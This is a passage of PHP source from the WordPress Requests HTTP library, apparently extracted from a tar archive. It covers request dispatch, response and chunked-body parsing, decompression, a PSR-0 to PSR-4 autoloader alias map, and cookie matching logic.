$type, $options); $options['hooks']->dispatch('requests.before_request', [&$url, &$headers, &$data, &$type, &$options]); if (!empty($options['transport'])) { $transport = $options['transport']; if (is_string($options['transport'])) { $transport = new $transport(); } } else { $need_ssl = (stripos($url, 'https://') === 0); $capabilities = [Capability::SSL => $need_ssl]; $transport = self::get_transport($capabilities); } $response = $transport->request($url, $headers, $data, $options); $options['hooks']->dispatch('requests.before_parse', [&$response, $url, $headers, $data, $type, $options]); return self::parse_response($response, $url, $headers, $data, $options); } /** * Send multiple HTTP requests simultaneously * * The `$requests` parameter takes an associative or indexed array of * request fields. The key of each request can be used to match up the * request with the returned data, or with the request passed into your * `multiple.request.complete` callback. * * The request fields value is an associative array with the following keys: * * - `url`: Request URL Same as the `$url` parameter to * {@see \WpOrg\Requests\Requests::request()} * (string, required) * - `headers`: Associative array of header fields. Same as the `$headers` * parameter to {@see \WpOrg\Requests\Requests::request()} * (array, default: `array()`) * - `data`: Associative array of data fields or a string. Same as the * `$data` parameter to {@see \WpOrg\Requests\Requests::request()} * (array|string, default: `array()`) * - `type`: HTTP request type (use \WpOrg\Requests\Requests constants). Same as the `$type` * parameter to {@see \WpOrg\Requests\Requests::request()} * (string, default: `\WpOrg\Requests\Requests::GET`) * - `cookies`: Associative array of cookie name to value, or cookie jar. * (array|\WpOrg\Requests\Cookie\Jar) * * If the `$options` parameter is specified, individual requests will * inherit options from it. This can be used to use a single hooking system, * or set all the types to `\WpOrg\Requests\Requests::POST`, for example. * * In addition, the `$options` parameter takes the following global options: * * - `complete`: A callback for when a request is complete. Takes two * parameters, a \WpOrg\Requests\Response/\WpOrg\Requests\Exception reference, and the * ID from the request array (Note: this can also be overridden on a * per-request basis, although that's a little silly) * (callback) * * @param array $requests Requests data (see description for more information) * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()}) * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public static function request_multiple($requests, $options = []) { if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } $options = array_merge(self::get_default_options(true), $options); if (!empty($options['hooks'])) { $options['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']); if (!empty($options['complete'])) { $options['hooks']->register('multiple.request.complete', $options['complete']); } } foreach ($requests as $id => &$request) { if (!isset($request['headers'])) { $request['headers'] = []; } if (!isset($request['data'])) { $request['data'] = []; } if (!isset($request['type'])) { $request['type'] = self::GET; } if (!isset($request['options'])) { $request['options'] = $options; $request['options']['type'] = $request['type']; } else { if (empty($request['options']['type'])) { $request['options']['type'] = $request['type']; } $request['options'] = array_merge($options, $request['options']); } self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']); // Ensure we only hook in once if ($request['options']['hooks'] !== $options['hooks']) { $request['options']['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']); if (!empty($request['options']['complete'])) { $request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']); } } } unset($request); if (!empty($options['transport'])) { $transport = $options['transport']; if (is_string($options['transport'])) { $transport = new $transport(); } } else { $transport = self::get_transport(); } $responses = $transport->request_multiple($requests, $options); foreach ($responses as $id => &$response) { // If our hook got messed with somehow, ensure we end up with the // correct response if (is_string($response)) { $request = $requests[$id]; self::parse_multiple($response, $request); $request['options']['hooks']->dispatch('multiple.request.complete', [&$response, $id]); } } return $responses; } /** * Get the default options * * @see \WpOrg\Requests\Requests::request() for values returned by this method * @param boolean $multirequest Is this a multirequest? * @return array Default option values */ protected static function get_default_options($multirequest = false) { $defaults = static::OPTION_DEFAULTS; $defaults['verify'] = self::$certificate_path; if ($multirequest !== false) { $defaults['complete'] = null; } return $defaults; } /** * Get default certificate path. * * @return string Default certificate path. */ public static function get_certificate_path() { return self::$certificate_path; } /** * Set default certificate path. * * @param string|Stringable|bool $path Certificate path, pointing to a PEM file. * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or boolean. */ public static function set_certificate_path($path) { if (InputValidator::is_string_or_stringable($path) === false && is_bool($path) === false) { throw InvalidArgument::create(1, '$path', 'string|Stringable|bool', gettype($path)); } self::$certificate_path = $path; } /** * Set the default values * * The $options parameter is updated with the results. * * @param string $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type * @param array $options Options for the request * @return void * * @throws \WpOrg\Requests\Exception When the $url is not an http(s) URL. */ protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) { if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) { throw new Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url); } if (empty($options['hooks'])) { $options['hooks'] = new Hooks(); } if (is_array($options['auth'])) { $options['auth'] = new Basic($options['auth']); } if ($options['auth'] !== false) { $options['auth']->register($options['hooks']); } if (is_string($options['proxy']) || is_array($options['proxy'])) { $options['proxy'] = new Http($options['proxy']); } if ($options['proxy'] !== false) { $options['proxy']->register($options['hooks']); } if (is_array($options['cookies'])) { $options['cookies'] = new Jar($options['cookies']); } elseif (empty($options['cookies'])) { $options['cookies'] = new Jar(); } if ($options['cookies'] !== false) { $options['cookies']->register($options['hooks']); } if ($options['idn'] !== false) { $iri = new Iri($url); $iri->host = IdnaEncoder::encode($iri->ihost); $url = $iri->uri; } // Massage the type to ensure we support it. $type = strtoupper($type); if (!isset($options['data_format'])) { if (in_array($type, [self::HEAD, self::GET, self::DELETE], true)) { $options['data_format'] = 'query'; } else { $options['data_format'] = 'body'; } } } /** * HTTP response parser * * @param string $headers Full response text including headers and body * @param string $url Original request URL * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects * @return \WpOrg\Requests\Response * * @throws \WpOrg\Requests\Exception On missing head/body separator (`requests.no_crlf_separator`) * @throws \WpOrg\Requests\Exception On missing head/body separator (`noversion`) * @throws \WpOrg\Requests\Exception On missing head/body separator (`toomanyredirects`) */ protected static function parse_response($headers, $url, $req_headers, $req_data, $options) { $return = new Response(); if (!$options['blocking']) { return $return; } $return->raw = $headers; $return->url = (string) $url; $return->body = ''; if (!$options['filename']) { $pos = strpos($headers, "\r\n\r\n"); if ($pos === false) { // Crap! throw new Exception('Missing header/body separator', 'requests.no_crlf_separator'); } $headers = substr($return->raw, 0, $pos); // Headers will always be separated from the body by two new lines - `\n\r\n\r`. $body = substr($return->raw, $pos + 4); if (!empty($body)) { $return->body = $body; } } // Pretend CRLF = LF for compatibility (RFC 2616, section 19.3) $headers = str_replace("\r\n", "\n", $headers); // Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2) $headers = preg_replace('/\n[ \t]/', ' ', $headers); $headers = explode("\n", $headers); preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches); if (empty($matches)) { throw new Exception('Response could not be parsed', 'noversion', $headers); } $return->protocol_version = (float) $matches[1]; $return->status_code = (int) $matches[2]; if ($return->status_code >= 200 && $return->status_code < 300) { $return->success = true; } foreach ($headers as $header) { list($key, $value) = explode(':', $header, 2); $value = trim($value); preg_replace('#(\s+)#i', ' ', $value); $return->headers[$key] = $value; } if (isset($return->headers['transfer-encoding'])) { $return->body = self::decode_chunked($return->body); unset($return->headers['transfer-encoding']); } if (isset($return->headers['content-encoding'])) { $return->body = self::decompress($return->body); } //fsockopen and cURL compatibility if (isset($return->headers['connection'])) { unset($return->headers['connection']); } $options['hooks']->dispatch('requests.before_redirect_check', [&$return, $req_headers, $req_data, $options]); if ($return->is_redirect() && $options['follow_redirects'] === true) { if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) { if ($return->status_code === 303) { $options['type'] = self::GET; } $options['redirected']++; $location = $return->headers['location']; if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) { // relative redirect, for compatibility make it absolute $location = Iri::absolutize($url, $location); $location = $location->uri; } $hook_args = [ &$location, &$req_headers, &$req_data, &$options, $return, ]; $options['hooks']->dispatch('requests.before_redirect', $hook_args); $redirected = self::request($location, $req_headers, $req_data, $options['type'], $options); $redirected->history[] = $return; return $redirected; } elseif ($options['redirected'] >= $options['redirects']) { throw new Exception('Too many redirects', 'toomanyredirects', $return); } } $return->redirects = $options['redirected']; $options['hooks']->dispatch('requests.after_request', [&$return, $req_headers, $req_data, $options]); return $return; } /** * Callback for `transport.internal.parse_response` * * Internal use only. Converts a raw HTTP response to a \WpOrg\Requests\Response * while still executing a multiple request. * * `$response` is either set to a \WpOrg\Requests\Response instance, or a \WpOrg\Requests\Exception object * * @param string $response Full response text including headers and body (will be overwritten with Response instance) * @param array $request Request data as passed into {@see \WpOrg\Requests\Requests::request_multiple()} * @return void */ public static function parse_multiple(&$response, $request) { try { $url = $request['url']; $headers = $request['headers']; $data = $request['data']; $options = $request['options']; $response = self::parse_response($response, $url, $headers, $data, $options); } catch (Exception $e) { $response = $e; } } /** * Decoded a chunked body as per RFC 2616 * * @link https://tools.ietf.org/html/rfc2616#section-3.6.1 * @param string $data Chunked body * @return string Decoded body */ protected static function decode_chunked($data) { if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) { return $data; } $decoded = ''; $encoded = $data; while (true) { $is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches); if (!$is_chunked) { // Looks like it's not chunked after all return $data; } $length = hexdec(trim($matches[1])); if ($length === 0) { // Ignore trailer headers return $decoded; } $chunk_length = strlen($matches[0]); $decoded .= substr($encoded, $chunk_length, $length); $encoded = substr($encoded, $chunk_length + $length + 2); if (trim($encoded) === '0' || empty($encoded)) { return $decoded; } } // We'll never actually get down here // @codeCoverageIgnoreStart } // @codeCoverageIgnoreEnd /** * Convert a key => value array to a 'key: value' array for headers * * @param iterable $dictionary Dictionary of header values * @return array List of headers * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not iterable. */ public static function flatten($dictionary) { if (InputValidator::is_iterable($dictionary) === false) { throw InvalidArgument::create(1, '$dictionary', 'iterable', gettype($dictionary)); } $return = []; foreach ($dictionary as $key => $value) { $return[] = sprintf('%s: %s', $key, $value); } return $return; } /** * Decompress an encoded body * * Implements gzip, compress and deflate. Guesses which it is by attempting * to decode. * * @param string $data Compressed data in one of the above formats * @return string Decompressed string * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string. */ public static function decompress($data) { if (is_string($data) === false) { throw InvalidArgument::create(1, '$data', 'string', gettype($data)); } if (trim($data) === '') { // Empty body does not need further processing. return $data; } $marker = substr($data, 0, 2); if (!isset(self::$magic_compression_headers[$marker])) { // Not actually compressed. Probably cURL ruining this for us. return $data; } if (function_exists('gzdecode')) { $decoded = @gzdecode($data); if ($decoded !== false) { return $decoded; } } if (function_exists('gzinflate')) { $decoded = @gzinflate($data); if ($decoded !== false) { return $decoded; } } $decoded = self::compatible_gzinflate($data); if ($decoded !== false) { return $decoded; } if (function_exists('gzuncompress')) { $decoded = @gzuncompress($data); if ($decoded !== false) { return $decoded; } } return $data; } /** * Decompression of deflated string while staying compatible with the majority of servers. * * Certain Servers will return deflated data with headers which PHP's gzinflate() * function cannot handle out of the box. The following function has been created from * various snippets on the gzinflate() PHP documentation. * * Warning: Magic numbers within. Due to the potential different formats that the compressed * data may be returned in, some "magic offsets" are needed to ensure proper decompression * takes place. For a simple progmatic way to determine the magic offset in use, see: * https://core.trac.wordpress.org/ticket/18273 * * @since 1.6.0 * @link https://core.trac.wordpress.org/ticket/18273 * @link https://www.php.net/gzinflate#70875 * @link https://www.php.net/gzinflate#77336 * * @param string $gz_data String to decompress. * @return string|bool False on failure. * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string. */ public static function compatible_gzinflate($gz_data) { if (is_string($gz_data) === false) { throw InvalidArgument::create(1, '$gz_data', 'string', gettype($gz_data)); } if (trim($gz_data) === '') { return false; } // Compressed data might contain a full zlib header, if so strip it for // gzinflate() if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") { $i = 10; $flg = ord(substr($gz_data, 3, 1)); if ($flg > 0) { if ($flg & 4) { list($xlen) = unpack('v', substr($gz_data, $i, 2)); $i += 2 + $xlen; } if ($flg & 8) { $i = strpos($gz_data, "\0", $i) + 1; } if ($flg & 16) { $i = strpos($gz_data, "\0", $i) + 1; } if ($flg & 2) { $i += 2; } } $decompressed = self::compatible_gzinflate(substr($gz_data, $i)); if ($decompressed !== false) { return $decompressed; } } // If the data is Huffman Encoded, we must first strip the leading 2 // byte Huffman marker for gzinflate() // The response is Huffman coded by many compressors such as // java.util.zip.Deflater, Ruby's Zlib::Deflate, and .NET's // System.IO.Compression.DeflateStream. // // See https://decompres.blogspot.com/ for a quick explanation of this // data type $huffman_encoded = false; // low nibble of first byte should be 0x08 list(, $first_nibble) = unpack('h', $gz_data); // First 2 bytes should be divisible by 0x1F list(, $first_two_bytes) = unpack('n', $gz_data); if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) { $huffman_encoded = true; } if ($huffman_encoded) { $decompressed = @gzinflate(substr($gz_data, 2)); if ($decompressed !== false) { return $decompressed; } } if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") { // ZIP file format header // Offset 6: 2 bytes, General-purpose field // Offset 26: 2 bytes, filename length // Offset 28: 2 bytes, optional field length // Offset 30: Filename field, followed by optional field, followed // immediately by data list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2)); // If the file has been compressed on the fly, 0x08 bit is set of // the general purpose field. We can use this to differentiate // between a compressed document, and a ZIP file $zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08); if (!$zip_compressed_on_the_fly) { // Don't attempt to decode a compressed zip file return $gz_data; } // Determine the first byte of data, based on the above ZIP header // offsets: $first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4))); $decompressed = @gzinflate(substr($gz_data, 30 + $first_file_start)); if ($decompressed !== false) { return $decompressed; } return false; } // Finally fall back to straight gzinflate $decompressed = @gzinflate($gz_data); if ($decompressed !== false) { return $decompressed; } // Fallback for all above failing, not expected, but included for // debugging and preventing regressions and to track stats $decompressed = @gzinflate(substr($gz_data, 2)); if ($decompressed !== false) { return $decompressed; } return false; } } Requests/src/Auth.php000064400000001534151202620270010560 0ustar000 is executed later */ public function register($hook, $callback, $priority = 0); /** * Dispatch a message * * @param string $hook Hook name * @param array $parameters Parameters to pass to callbacks * @return boolean Successfulness */ public function dispatch($hook, $parameters = []); } Requests/src/Autoload.php000064400000022167151202620270011434 0ustar00 '\WpOrg\Requests\Auth', 'requests_hooker' => '\WpOrg\Requests\HookManager', 'requests_proxy' => '\WpOrg\Requests\Proxy', 'requests_transport' => '\WpOrg\Requests\Transport', // Classes. 'requests_cookie' => '\WpOrg\Requests\Cookie', 'requests_exception' => '\WpOrg\Requests\Exception', 'requests_hooks' => '\WpOrg\Requests\Hooks', 'requests_idnaencoder' => '\WpOrg\Requests\IdnaEncoder', 'requests_ipv6' => '\WpOrg\Requests\Ipv6', 'requests_iri' => '\WpOrg\Requests\Iri', 'requests_response' => '\WpOrg\Requests\Response', 'requests_session' => '\WpOrg\Requests\Session', 'requests_ssl' => '\WpOrg\Requests\Ssl', 'requests_auth_basic' => '\WpOrg\Requests\Auth\Basic', 'requests_cookie_jar' => '\WpOrg\Requests\Cookie\Jar', 'requests_proxy_http' => '\WpOrg\Requests\Proxy\Http', 'requests_response_headers' => '\WpOrg\Requests\Response\Headers', 'requests_transport_curl' => '\WpOrg\Requests\Transport\Curl', 'requests_transport_fsockopen' => '\WpOrg\Requests\Transport\Fsockopen', 'requests_utility_caseinsensitivedictionary' => '\WpOrg\Requests\Utility\CaseInsensitiveDictionary', 'requests_utility_filterediterator' => '\WpOrg\Requests\Utility\FilteredIterator', 'requests_exception_http' => '\WpOrg\Requests\Exception\Http', 'requests_exception_transport' => '\WpOrg\Requests\Exception\Transport', 'requests_exception_transport_curl' => '\WpOrg\Requests\Exception\Transport\Curl', 'requests_exception_http_304' => '\WpOrg\Requests\Exception\Http\Status304', 'requests_exception_http_305' => '\WpOrg\Requests\Exception\Http\Status305', 'requests_exception_http_306' => '\WpOrg\Requests\Exception\Http\Status306', 'requests_exception_http_400' => '\WpOrg\Requests\Exception\Http\Status400', 'requests_exception_http_401' => '\WpOrg\Requests\Exception\Http\Status401', 'requests_exception_http_402' => '\WpOrg\Requests\Exception\Http\Status402', 'requests_exception_http_403' => '\WpOrg\Requests\Exception\Http\Status403', 'requests_exception_http_404' => '\WpOrg\Requests\Exception\Http\Status404', 'requests_exception_http_405' => '\WpOrg\Requests\Exception\Http\Status405', 'requests_exception_http_406' => '\WpOrg\Requests\Exception\Http\Status406', 'requests_exception_http_407' => '\WpOrg\Requests\Exception\Http\Status407', 'requests_exception_http_408' => '\WpOrg\Requests\Exception\Http\Status408', 'requests_exception_http_409' => '\WpOrg\Requests\Exception\Http\Status409', 'requests_exception_http_410' => '\WpOrg\Requests\Exception\Http\Status410', 'requests_exception_http_411' => '\WpOrg\Requests\Exception\Http\Status411', 'requests_exception_http_412' => '\WpOrg\Requests\Exception\Http\Status412', 'requests_exception_http_413' => '\WpOrg\Requests\Exception\Http\Status413', 'requests_exception_http_414' => '\WpOrg\Requests\Exception\Http\Status414', 'requests_exception_http_415' => '\WpOrg\Requests\Exception\Http\Status415', 'requests_exception_http_416' => '\WpOrg\Requests\Exception\Http\Status416', 'requests_exception_http_417' => '\WpOrg\Requests\Exception\Http\Status417', 'requests_exception_http_418' => '\WpOrg\Requests\Exception\Http\Status418', 'requests_exception_http_428' => '\WpOrg\Requests\Exception\Http\Status428', 'requests_exception_http_429' => '\WpOrg\Requests\Exception\Http\Status429', 'requests_exception_http_431' => '\WpOrg\Requests\Exception\Http\Status431', 'requests_exception_http_500' => '\WpOrg\Requests\Exception\Http\Status500', 'requests_exception_http_501' => '\WpOrg\Requests\Exception\Http\Status501', 'requests_exception_http_502' => '\WpOrg\Requests\Exception\Http\Status502', 'requests_exception_http_503' => '\WpOrg\Requests\Exception\Http\Status503', 'requests_exception_http_504' => '\WpOrg\Requests\Exception\Http\Status504', 'requests_exception_http_505' => '\WpOrg\Requests\Exception\Http\Status505', 'requests_exception_http_511' => '\WpOrg\Requests\Exception\Http\Status511', 'requests_exception_http_unknown' => '\WpOrg\Requests\Exception\Http\StatusUnknown', ]; /** * Register the autoloader. * * Note: the autoloader is *prepended* in the autoload queue. * This is done to ensure that the Requests 2.0 autoloader takes precedence * over a potentially (dependency-registered) Requests 1.x autoloader. * * @internal This method contains a safeguard against the autoloader being * registered multiple times. This safeguard uses a global constant to * (hopefully/in most cases) still function correctly, even if the * class would be renamed. * * @return void */ public static function register() { if (defined('REQUESTS_AUTOLOAD_REGISTERED') === false) { spl_autoload_register([self::class, 'load'], true); define('REQUESTS_AUTOLOAD_REGISTERED', true); } } /** * Autoloader. * * @param string $class_name Name of the class name to load. * * @return bool Whether a class was loaded or not. */ public static function load($class_name) { // Check that the class starts with "Requests" (PSR-0) or "WpOrg\Requests" (PSR-4). $psr_4_prefix_pos = strpos($class_name, 'WpOrg\\Requests\\'); if (stripos($class_name, 'Requests') !== 0 && $psr_4_prefix_pos !== 0) { return false; } $class_lower = strtolower($class_name); if ($class_lower === 'requests') { // Reference to the original PSR-0 Requests class. $file = dirname(__DIR__) . '/library/Requests.php'; } elseif ($psr_4_prefix_pos === 0) { // PSR-4 classname. $file = __DIR__ . '/' . strtr(substr($class_name, 15), '\\', '/') . '.php'; } if (isset($file) && file_exists($file)) { include $file; return true; } /* * Okay, so the class starts with "Requests", but we couldn't find the file. * If this is one of the deprecated/renamed PSR-0 classes being requested, * let's alias it to the new name and throw a deprecation notice. */ if (isset(self::$deprecated_classes[$class_lower])) { /* * Integrators who cannot yet upgrade to the PSR-4 class names can silence deprecations * by defining a `REQUESTS_SILENCE_PSR0_DEPRECATIONS` constant and setting it to `true`. * The constant needs to be defined before the first deprecated class is requested * via this autoloader. */ if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS') || REQUESTS_SILENCE_PSR0_DEPRECATIONS !== true) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error trigger_error( 'The PSR-0 `Requests_...` class names in the Requests library are deprecated.' . ' Switch to the PSR-4 `WpOrg\Requests\...` class names at your earliest convenience.', E_USER_DEPRECATED ); // Prevent the deprecation notice from being thrown twice. if (!defined('REQUESTS_SILENCE_PSR0_DEPRECATIONS')) { define('REQUESTS_SILENCE_PSR0_DEPRECATIONS', true); } } // Create an alias and let the autoloader recursively kick in to load the PSR-4 class. return class_alias(self::$deprecated_classes[$class_lower], $class_name, true); } return false; } } } Requests/src/Response.php000064400000010271151202620270011453 0ustar00headers = new Headers(); $this->cookies = new Jar(); } /** * Is the response a redirect? * * @return boolean True if redirect (3xx status), false if not. */ public function is_redirect() { $code = $this->status_code; return in_array($code, [300, 301, 302, 303, 307], true) || $code > 307 && $code < 400; } /** * Throws an exception if the request was not successful * * @param boolean $allow_redirects Set to false to throw on a 3xx as well * * @throws \WpOrg\Requests\Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`) * @throws \WpOrg\Requests\Exception\Http On non-successful status code. Exception class corresponds to "Status" + code (e.g. {@see \WpOrg\Requests\Exception\Http\Status404}) */ public function throw_for_status($allow_redirects = true) { if ($this->is_redirect()) { if ($allow_redirects !== true) { throw new Exception('Redirection not allowed', 'response.no_redirects', $this); } } elseif (!$this->success) { $exception = Http::get_class($this->status_code); throw new $exception(null, $this); } } /** * JSON decode the response body. * * The method parameters are the same as those for the PHP native `json_decode()` function. * * @link https://php.net/json-decode * * @param bool|null $associative Optional. When `true`, JSON objects will be returned as associative arrays; * When `false`, JSON objects will be returned as objects. * When `null`, JSON objects will be returned as associative arrays * or objects depending on whether `JSON_OBJECT_AS_ARRAY` is set in the flags. * Defaults to `true` (in contrast to the PHP native default of `null`). * @param int $depth Optional. Maximum nesting depth of the structure being decoded. * Defaults to `512`. * @param int $options Optional. Bitmask of JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE, * JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR. * Defaults to `0` (no options set). * * @return array * * @throws \WpOrg\Requests\Exception If `$this->body` is not valid json. */ public function decode_body($associative = true, $depth = 512, $options = 0) { $data = json_decode($this->body, $associative, $depth, $options); if (json_last_error() !== JSON_ERROR_NONE) { $last_error = json_last_error_msg(); throw new Exception('Unable to parse JSON data: ' . $last_error, 'response.invalid', $this); } return $data; } } Requests/src/Cookie.php000064400000035402151202620270011071 0ustar00name = $name; $this->value = $value; $this->attributes = $attributes; $default_flags = [ 'creation' => time(), 'last-access' => time(), 'persistent' => false, 'host-only' => true, ]; $this->flags = array_merge($default_flags, $flags); $this->reference_time = time(); if ($reference_time !== null) { $this->reference_time = $reference_time; } $this->normalize(); } /** * Get the cookie value * * Attributes and other data can be accessed via methods. */ public function __toString() { return $this->value; } /** * Check if a cookie is expired. * * Checks the age against $this->reference_time to determine if the cookie * is expired. * * @return boolean True if expired, false if time is valid. */ public function is_expired() { // RFC6265, s. 4.1.2.2: // If a cookie has both the Max-Age and the Expires attribute, the Max- // Age attribute has precedence and controls the expiration date of the // cookie. if (isset($this->attributes['max-age'])) { $max_age = $this->attributes['max-age']; return $max_age < $this->reference_time; } if (isset($this->attributes['expires'])) { $expires = $this->attributes['expires']; return $expires < $this->reference_time; } return false; } /** * Check if a cookie is valid for a given URI * * @param \WpOrg\Requests\Iri $uri URI to check * @return boolean Whether the cookie is valid for the given URI */ public function uri_matches(Iri $uri) { if (!$this->domain_matches($uri->host)) { return false; } if (!$this->path_matches($uri->path)) { return false; } return empty($this->attributes['secure']) || $uri->scheme === 'https'; } /** * Check if a cookie is valid for a given domain * * @param string $domain Domain to check * @return boolean Whether the cookie is valid for the given domain */ public function domain_matches($domain) { if (is_string($domain) === false) { return false; } if (!isset($this->attributes['domain'])) { // Cookies created manually; cookies created by Requests will set // the domain to the requested domain return true; } $cookie_domain = $this->attributes['domain']; if ($cookie_domain === $domain) { // The cookie domain and the passed domain are identical. return true; } // If the cookie is marked as host-only and we don't have an exact // match, reject the cookie if ($this->flags['host-only'] === true) { return false; } if (strlen($domain) <= strlen($cookie_domain)) { // For obvious reasons, the cookie domain cannot be a suffix if the passed domain // is shorter than the cookie domain return false; } if (substr($domain, -1 * strlen($cookie_domain)) !== $cookie_domain) { // The cookie domain should be a suffix of the passed domain. return false; } $prefix = substr($domain, 0, strlen($domain) - strlen($cookie_domain)); if (substr($prefix, -1) !== '.') { // The last character of the passed domain that is not included in the // domain string should be a %x2E (".") character. return false; } // The passed domain should be a host name (i.e., not an IP address). return !preg_match('#^(.+\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $domain); } /** * Check if a cookie is valid for a given path * * From the path-match check in RFC 6265 section 5.1.4 * * @param string $request_path Path to check * @return boolean Whether the cookie is valid for the given path */ public function path_matches($request_path) { if (empty($request_path)) { // Normalize empty path to root $request_path = '/'; } if (!isset($this->attributes['path'])) { // Cookies created manually; cookies created by Requests will set // the path to the requested path return true; } if (is_scalar($request_path) === false) { return false; } $cookie_path = $this->attributes['path']; if ($cookie_path === $request_path) { // The cookie-path and the request-path are identical. return true; } if (strlen($request_path) > strlen($cookie_path) && substr($request_path, 0, strlen($cookie_path)) === $cookie_path) { if (substr($cookie_path, -1) === '/') { // The cookie-path is a prefix of the request-path, and the last // character of the cookie-path is %x2F ("/"). return true; } if (substr($request_path, strlen($cookie_path), 1) === '/') { // The cookie-path is a prefix of the request-path, and the // first character of the request-path that is not included in // the cookie-path is a %x2F ("/") character. return true; } } return false; } /** * Normalize cookie and attributes * * @return boolean Whether the cookie was successfully normalized */ public function normalize() { foreach ($this->attributes as $key => $value) { $orig_value = $value; if (is_string($key)) { $value = $this->normalize_attribute($key, $value); } if ($value === null) { unset($this->attributes[$key]); continue; } if ($value !== $orig_value) { $this->attributes[$key] = $value; } } return true; } /** * Parse an individual cookie attribute * * Handles parsing individual attributes from the cookie values. * * @param string $name Attribute name * @param string|int|bool $value Attribute value (string/integer value, or true if empty/flag) * @return mixed Value if available, or null if the attribute value is invalid (and should be skipped) */ protected function normalize_attribute($name, $value) { switch (strtolower($name)) { case 'expires': // Expiration parsing, as per RFC 6265 section 5.2.1 if (is_int($value)) { return $value; } $expiry_time = strtotime($value); if ($expiry_time === false) { return null; } return $expiry_time; case 'max-age': // Expiration parsing, as per RFC 6265 section 5.2.2 if (is_int($value)) { return $value; } // Check that we have a valid age if (!preg_match('/^-?\d+$/', $value)) { return null; } $delta_seconds = (int) $value; if ($delta_seconds <= 0) { $expiry_time = 0; } else { $expiry_time = $this->reference_time + $delta_seconds; } return $expiry_time; case 'domain': // Domains are not required as per RFC 6265 section 5.2.3 if (empty($value)) { return null; } // Domain normalization, as per RFC 6265 section 5.2.3 if ($value[0] === '.') { $value = substr($value, 1); } return $value; default: return $value; } } /** * Format a cookie for a Cookie header * * This is used when sending cookies to a server. * * @return string Cookie formatted for Cookie header */ public function format_for_header() { return sprintf('%s=%s', $this->name, $this->value); } /** * Format a cookie for a Set-Cookie header * * This is used when sending cookies to clients. This isn't really * applicable to client-side usage, but might be handy for debugging. * * @return string Cookie formatted for Set-Cookie header */ public function format_for_set_cookie() { $header_value = $this->format_for_header(); if (!empty($this->attributes)) { $parts = []; foreach ($this->attributes as $key => $value) { // Ignore non-associative attributes if (is_numeric($key)) { $parts[] = $value; } else { $parts[] = sprintf('%s=%s', $key, $value); } } $header_value .= '; ' . implode('; ', $parts); } return $header_value; } /** * Parse a cookie string into a cookie object * * Based on Mozilla's parsing code in Firefox and related projects, which * is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265 * specifies some of this handling, but not in a thorough manner. * * @param string $cookie_header Cookie header value (from a Set-Cookie header) * @param string $name * @param int|null $reference_time * @return \WpOrg\Requests\Cookie Parsed cookie object * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cookie_header argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string. */ public static function parse($cookie_header, $name = '', $reference_time = null) { if (is_string($cookie_header) === false) { throw InvalidArgument::create(1, '$cookie_header', 'string', gettype($cookie_header)); } if (is_string($name) === false) { throw InvalidArgument::create(2, '$name', 'string', gettype($name)); } $parts = explode(';', $cookie_header); $kvparts = array_shift($parts); if (!empty($name)) { $value = $cookie_header; } elseif (strpos($kvparts, '=') === false) { // Some sites might only have a value without the equals separator. // Deviate from RFC 6265 and pretend it was actually a blank name // (`=foo`) // // https://bugzilla.mozilla.org/show_bug.cgi?id=169091 $name = ''; $value = $kvparts; } else { list($name, $value) = explode('=', $kvparts, 2); } $name = trim($name); $value = trim($value); // Attribute keys are handled case-insensitively $attributes = new CaseInsensitiveDictionary(); if (!empty($parts)) { foreach ($parts as $part) { if (strpos($part, '=') === false) { $part_key = $part; $part_value = true; } else { list($part_key, $part_value) = explode('=', $part, 2); $part_value = trim($part_value); } $part_key = trim($part_key); $attributes[$part_key] = $part_value; } } 